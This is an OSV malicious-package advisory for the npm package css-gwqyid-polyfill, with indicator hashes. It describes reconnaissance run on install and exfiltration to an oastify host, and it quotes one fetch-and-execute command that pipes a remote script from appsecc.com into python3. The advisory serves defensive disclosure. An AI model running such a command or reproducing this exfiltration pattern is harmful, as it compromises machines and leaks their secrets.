MAL-2026-17574

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-gwqyid-polyfill/MAL-2026-17574.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17574
Published
2026-10-05T16:14:13Z
Modified
2026-10-05T16:31:38Z
Summary
Malicious code in css-gwqyid-polyfill (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (3a81a389193175e49648e711d4eb83ebcbbd0b51e1b7a6677ceb338c3398dc19)

thunderboltRegistry.js executes an IIFE on module load that collects host reconnaissance (id, whoami, full process environment via env, and ifconfig/ip addr output) and sends each result as a GET query-string to the hardcoded out-of-band host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, keyed by os.hostname(). The same IIFE invokes execSync("curl -L https://appsecc.com/py | python3") to fetch and execute an opaque remote Python payload with the installer's privileges, tagging the output cmd=reverse-shell before exfiltrating it to the same oastify host. The payload deletes its own entries from require.cache and resolves child_process through three alternative paths (plain name, node: prefix, and a freshly constructed Module instance) to evade monkey-patched require hooks. The package's advertised identity as a CSS/Thunderbolt polyfill does not correspond to any code of that nature in the file and functions as a cover story for the recon, fetch-and-execute, and sandbox-evasion logic.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-021076",
            "import_time":  "2026-10-05T16:22:56.803931324Z",
            "modified_time":  "2026-10-05T16:14:13Z",
            "sha256":  "3a81a389193175e49648e711d4eb83ebcbbd0b51e1b7a6677ceb338c3398dc19",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / css-gwqyid-polyfill

Package

Name
css-gwqyid-polyfill
View open source insights on deps.dev
Purl
pkg:npm/css-gwqyid-polyfill

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "thunderboltRegistry.js",
            "sha256":  "098fac4f87d662808d1fcb744c79416ac42dd1ae997a1f96a998f2f3b46ce699",
            "tlsh":  "e07131b5b99df02166c33438db7f5049b4bb86672c6caee0740899b01f7585c01ba6f4"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "css-gwqyid-polyfill-1.0.0.tgz",
            "hashes":  {
                "sha1":  "83edb5270f4a290ceb656134456b7a18e0d464f1",
                "sha512_sri":  "sha512-FPNsv0P8oSXboP+SHokFm5vBYbxmqU3vHf1y3Zkb5bJEyL589phOIEhJhbhFoT2ZaLJLAQCpdQeh++o16u3JAg=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-gwqyid-polyfill/MAL-2026-17574.json"